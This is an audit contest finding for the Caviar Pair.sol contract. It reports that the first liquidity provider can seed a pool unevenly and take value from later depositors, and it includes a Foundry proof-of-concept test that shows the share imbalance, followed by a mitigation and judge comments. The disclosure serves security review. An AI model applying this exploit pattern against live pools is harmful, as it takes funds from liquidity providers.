First LP can steal tokens of all subsequent LPs

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428

Vulnerability details

Impact

The first liquidity provider can provide a uneven amount of liquidity and steal from all subsequent LPs (see PoC).

After the pool is initialized anyone not using a high enough slippage protection will risk to lose value to the first LP. Additionnaly, if next LPs notice that they don't get as much share as they should, they will lose any incentive to add liquidity to it.

That being said, the first LP cannot frontrun someone trying to initialize the pool because the slippage protection prevents it, but I still think that the issue is of high severity because an LP will only set the slippage protection according to what is shown to him as a % of share that he deserves. If the calculation leading to the slippage protection (using addQuote) in the UI consider that the this user should get as much share as the first LP even though he provided more value, it would not prevent him to lose value (see PoC where second LP get as much share as first LP while providing more value).

Affected code:

Pair.sol#L417-L428

    function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) {
        uint256 lpTokenSupply = lpToken.totalSupply();
        if (lpTokenSupply > 0) {
            // calculate amount of lp tokens as a fraction of existing reserves
            uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves();
            uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
            return Math.min(baseTokenShare, fractionalTokenShare);
        } else {
            // if there is no liquidity then init
            return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        }
    }

Proof of Concept

Run: forge test --match-test "FirstLPVuln" -vvv

    address internal lp1 = address(0x196);
    address internal lp2 = address(0x136);

    function testFirstLPVuln() public {
        // liquidity pool init (could have frontrun lp2)
        changePrank(lp1);
        deal(address(usd), lp1, 1 wei);
        deal(address(p), lp1, 10 ether);
        console.log("Before Init LP1");
        console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1));
        console.log("FRACbalanceOf(lp1)",p.balanceOf(lp1));
        console.log("BASEbalanceOf(lp1)",usd.balanceOf(lp1));
        console.log("-----------------");
        usd.approve(address(p), type(uint256).max);
        p.add(1 wei, 10 ether, 1 wei);
        console.log("After Init LP1");
        console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1));
        console.log("FRACbalanceOf(lp1)",p.balanceOf(lp1));
        console.log("BASEbalanceOf(lp1)",usd.balanceOf(lp1));
        console.log("-----------------");
        // first lp after init
        console.log("LP2 Add Liquidity");
        changePrank(lp2);
        deal(address(usd), lp2, 10 ether);
        deal(address(p), lp2, 10 ether);
        usd.approve(address(p), type(uint256).max);
        p.add(10 ether, 10 ether, 1 wei);

        // lp1 and lp2 get the same amount of share even though lp2 deposited more value
        console.log("LPbalanceOf(lp2)",lpToken.balanceOf(lp2));
        console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1));
        (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = p.removeQuote(3162277660);
        console.log("baseTokenOutputAmount",baseTokenOutputAmount);
        console.log("fractionalTokenOutputAmount",fractionalTokenOutputAmount);
        console.log("-----------------");
        // lp2 remove more liquidity than he put in -> lp2 lose value
        changePrank(lp1);
        p.remove(3162277660, 5e17, 10 ether);
        console.log("After Remove LP1");
        console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1));
        console.log("FRACbalanceOf(lp1)",p.balanceOf(lp1));
        console.log("BASEbalanceOf(lp1)",usd.balanceOf(lp1));
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

One way to solve this would be to ensure that LPs have to provide an equivalent value of pair tokens (according to the relative price and even at the beginning).

[c4-judge]

berndartmueller marked the issue as duplicate of #442

[c4-judge]

berndartmueller marked the issue as satisfactory